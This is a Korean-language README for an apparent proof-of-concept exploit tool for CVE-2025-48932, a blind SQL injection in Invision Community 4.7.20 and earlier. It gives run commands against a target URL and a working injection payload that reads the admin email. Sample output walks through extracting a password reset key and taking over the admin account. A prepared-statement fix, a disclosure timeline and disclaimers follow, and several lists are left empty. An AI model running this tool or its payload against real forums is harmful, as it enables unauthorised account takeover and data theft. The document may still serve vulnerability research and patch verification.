
개념 증명 익스플로잇 for CVE-2025-48932, Invision Community <= 4.7.20의 SQL 인젝션. 블라인드 SQLi를 통해 관리자 자격 증명 및 계정 탈취를 위한 비밀번호 재설정 키를 추출합니다.
Invision Community <= 4.7.20 버전에서 발견된 SQL 인젝션 취약점을 시연하는 개념 증명 익스플로잇입니다.
이 도구는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다.
CVE ID: CVE-2025-48932
심각도: 높음
CVSS 점수: 추후 공개
영향받는 버전: 4.7.21 이전의 Invision Community 4.x 버전
취약점은 /applications/calendar/modules/front/calendar/view.php 스크립트에 존재합니다. IPS\calendar\modules\front\calendar\view::search() 메서드의 location 요청 매개변수를 통해 전달된 사용자 입력이 SQL 쿼리에 사용되기 전에 적절히 필터링되지 않습니다.
이로 인해 원격 인증되지 않은 공격자는 다음을 수행할 수 있습니다:
익스플로잇을 위한 전제 조건:
참고: Invision Community 4.x 버전 < 4.7.18의 SQL 인젝션 취약점은 관리자 비밀번호를 재설정하여 관리자 계정 탈취 및 원격 코드 실행(RCE)으로 이어질 수 있었지만, 4.7.18 버전에서 비밀번호 재설정 메커니즘에 새로운 보안 암호화 키가 도입되어 이 공격 경로가 더 어려워졌습니다.
리포지토리 클론:
git clone https://github.com/yourusername/invision-sqli-exploit.git
cd invision-sqli-exploit
의존성 설치:
pip install -r requirements.txt
python invision-sqli-exploit.py -u http://target.com/forum/
python invision-sqli-exploit.py -u https://example.com/community/ -v
==================================================
Invision Community <= 4.7.20 SQL Injection Exploit
CVE-2025-48932
==================================================
Target: http://example.com/forum/
==================================================
[*] Fetching CSRF token...
[+] CSRF token found: abc123def456...
[*] Step 1: Extracting admin email address...
[*] Extracting data: [email protected]
[+] Admin email: [email protected]
[!] Step 2: Manual action required!
Please follow these steps:
1. Navigate to: http://example.com/forum/index.php?/lostpassword/
2. Request a password reset using email: [email protected]
3. Press ENTER when done...
[*] Step 3: Extracting password reset validation key...
[*] Extracting data: xyz789abc123...
[+] Reset key: xyz789abc123...
[*] Step 4: Resetting admin password...
==================================================
[+] EXPLOITATION SUCCESSFUL!
==================================================
Admin credentials:
Email: [email protected]
Password: Pwned1721234567
You can now login at: http://example.com/forum/index.php?/login/
익스플로잇은 네 가지 주요 단계로 작동합니다:
스크립트는 먼저 대상 웹사이트에서 CSRF 토큰을 가져옵니다. 이 토큰은 후속 요청에 필요합니다.
이진 검색 알고리즘을 사용하여 데이터베이스에서 문자 단위로 데이터를 추출합니다:
RLIKE 함수와 정규식 패턴을 사용하여 참/거짓 조건 감지core_members 테이블을 조회하여 관리자의 이메일 주소를 추출합니다.
인젝션 포인트:
location parameter → calendar/view.php → search() method
페이로드 예시:
'))OR(SELECT 1 RLIKE(IF(ORD(SUBSTR((SELECT email FROM core_members WHERE member_id=1),1,1))<128,0x28,0x31)))#
익스플로잇 기술: 효율적인 데이터 추출을 위해 이진 검색을 사용한 부울 기반 블라인드 SQL 인젝션.
즉시 조치:
안전한 코딩 관행:
안전한 코드 예시:
// 취약한 코드
$location = $_REQUEST['location'];
$query = "SELECT * FROM events WHERE location = '$location'";
// 안전한 코드
$location = $_REQUEST['location'];
$query = $db->prepare("SELECT * FROM events WHERE location = ?");
$query->execute([$location]);
| 날짜 | 이벤트 |
|---|---|
| 2025년 5월 16일 | 공급업체에 통보 |
| 2025년 5월 27일 | 버전 4.7.21 출시 |
| 2025년 5월 28일 | CVE 식별자 요청 |
| 2025년 5월 28일 | CVE-2025-48932 할당 |
개발자:
참고: 이는 공개된 취약점 정보(CVE-2025-48932)를 기반으로 한 독립적인 구현입니다.
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하십시오.
기여는 환영합니다! 자유롭게 Pull Request를 제출해 주십시오. 주요 변경 사항의 경우 먼저 이슈를 열어 변경하고자 하는 내용에 대해 논의해 주십시오.
이 도구는 MIT 라이선스에 따라 배포됩니다. 이 소프트웨어를 사용함으로써 다음 사항에 동의하게 됩니다:
기억하십시오: 대부분의 관할권에서 승인되지 않은 컴퓨터 시스템 접근은 범죄이며 심각한 법적 결과를 초래할 수 있습니다.
보안 취약점을 발견한 경우, 공개하기 전에 책임 있는 방식으로 공급업체에 공개하시기 바랍니다.
| 인수 | 설명 | 필수 |
|---|
-u, --url | 대상 Invision Community 기본 URL | 예 |
-v, --verbose | 디버깅을 위한 상세 출력 활성화 | 아니요 |
-h, --help | 도움말 메시지 표시 및 종료 | 아니요 |
| 2025년 7월 23일 | 공개 공개 |